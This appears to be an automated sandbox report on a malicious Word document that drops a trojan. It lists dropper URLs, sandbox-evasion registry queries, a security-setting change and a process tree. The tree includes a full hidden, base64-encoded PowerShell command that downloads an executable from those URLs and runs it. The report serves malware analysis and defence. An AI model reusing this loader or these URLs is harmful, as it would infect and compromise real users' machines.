0dfb26cd2eb02c921a9c73c9c5615dfb666cdd33971639d6441eb6893ae2efe1

General

Target

Docs_7f6f469f6981d4a92806d0d3b706e258.180.doc
Sample

191216-sqh3yj6ss6
SHA256

0dfb26cd2eb02c921a9c73c9c5615dfb666cdd33971639d6441eb6893ae2efe1

Score

8^/10

evasion trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://lilikhendarwati.com/wp-admin/JbdTQoQQ/

exe.dropper

http://www.zhangboo.com/wp-admin/lwhcvV/

exe.dropper

http://test.windsorheatingandair.com/wp-includes/r9lv-4teq5ff-8759846140/

exe.dropper

https://www.jackiejill.com/wp-includes/yiqr4r6a-dwt7s0u-26965878/

exe.dropper

http://apolina.pl/engl/1tuh6ul-gakf89-994/

Signatures

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4924	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4684	Powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4684	Powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3180	218.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\ESE.TXT	svchost.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4924	WINWORD.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4924	WINWORD.EXE
3180	218.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4492 wrote to memory of 4024	4492	SppExtComObj.exe	76
PID 4684 wrote to memory of 3180	4684	Powershell.exe	86

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "0"
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "1"

Checks system information in the registry 2 TTPs 2 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_7f6f469f6981d4a92806d0d3b706e258.180.doc" /o ""
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4924

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:4492
- C:\Windows\System32\SLUI.exe
  "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
  2⤵
  PID:4024

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABPAHEAbwBqAHIAcABtAGsAZAB6AGwAZwA9ACcARwBlAHUAcwBjAGsAZgBlAGkAcwBsAGgAJwA7ACQAUwBnAHkAbgBhAGQAdABkAHoAaQAgAD0AIAAnADIAMQA4ACcAOwAkAEYAcwBuAGMAagBmAGIAbgBvAHUAdgBjAHcAPQAnAFYAcgB0AGcAdwBvAGoAaABnAHIAcQBrACcAOwAkAEkAcwB2AGUAZgB0AHMAYwB5AG0AawBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABTAGcAeQBuAGEAZAB0AGQAegBpACsAJwAuAGUAeABlACcAOwAkAFkAawBqAHoAbQB4AGcAeQBlAGsAcABmAD0AJwBYAGgAaABpAHYAcAB4AHQAbgAnADsAJABQAGQAegB2AGUAdgBiAGgAZQBzAD0ALgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAFcAZQBiAGMATABpAEUAbgBUADsAJABNAHYAYwBiAGwAcgBoAGsAegBvAHoAZwA9ACcAaAB0AHQAcABzADoALwAvAGwAaQBsAGkAawBoAGUAbgBkAGEAcgB3AGEAdABpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBKAGIAZABUAFEAbwBRAFEALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB6AGgAYQBuAGcAYgBvAG8ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGwAdwBoAGMAdgBWAC8AKgBoAHQAdABwADoALwAvAHQAZQBzAHQALgB3AGkAbgBkAHMAbwByAGgAZQBhAHQAaQBuAGcAYQBuAGQAYQBpAHIALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHIAOQBsAHYALQA0AHQAZQBxADUAZgBmAC0AOAA3ADUAOQA4ADQANgAxADQAMAAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AagBhAGMAawBpAGUAagBpAGwAbAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AeQBpAHEAcgA0AHIANgBhAC0AZAB3AHQANwBzADAAdQAtADIANgA5ADYANQA4ADcAOAAvACoAaAB0AHQAcAA6AC8ALwBhAHAAbwBsAGkAbgBhAC4AcABsAC8AZQBuAGcAbAAvADEAdAB1AGgANgB1AGwALQBnAGEAawBmADgAOQAtADkAOQA0AC8AJwAuACIAcwBgAHAATABJAFQAIgAoACcAKgAnACkAOwAkAEoAdgBrAGgAawB0AHYAdABzAHEAagA9ACcASwBsAG0AdwBuAGkAcgByACcAOwBmAG8AcgBlAGEAYwBoACgAJABNAHoAbQBxAGIAegBqAHUAZwAgAGkAbgAgACQATQB2AGMAYgBsAHIAaABrAHoAbwB6AGcAKQB7AHQAcgB5AHsAJABQAGQAegB2AGUAdgBiAGgAZQBzAC4AIgBkAG8AYABXAG4AbABgAE8AQQBkAGYASQBMAEUAIgAoACQATQB6AG0AcQBiAHoAagB1AGcALAAgACQASQBzAHYAZQBmAHQAcwBjAHkAbQBrAG8AKQA7ACQASwB5AGsAaABvAHMAeABlAD0AJwBKAGMAYwB2AHIAdQByAHQAbQB5ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAgACQASQBzAHYAZQBmAHQAcwBjAHkAbQBrAG8AKQAuACIAbABFAG4AYABHAHQAaAAiACAALQBnAGUAIAAzADEANAA1ADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBUAGEAYABSAFQAIgAoACQASQBzAHYAZQBmAHQAcwBjAHkAbQBrAG8AKQA7ACQARAB5AGsAZABhAGcAZQBpAHkAawByAGEAaQA9ACcARwBhAHUAbABuAGEAdABoAGoAcQAnADsAYgByAGUAYQBrADsAJABSAHgAZgBhAHAAdwBjAGcAaQBlAHAAdwA9ACcAQwBsAHMAawB2AGkAdQBmAG0AbABkAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwByAGEAbQB1AG4AbgBrAHMAawBjAGUAPQAnAEQAYgBsAHgAbgB2AHkAaABwAHkAdgB4ACcA
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4684
- C:\Users\Admin\218.exe
  "C:\Users\Admin\218.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3180

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Drops file in Windows directory
PID:4240

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4080

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
1⤵
PID:4844

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup
1⤵
PID:4900

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
1⤵
PID:3368

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Disabling Security Tools

Modify Registry

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4924-2-0x00000238C5090000-0x00000238C5094000-memory.dmp

Filesize
16KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads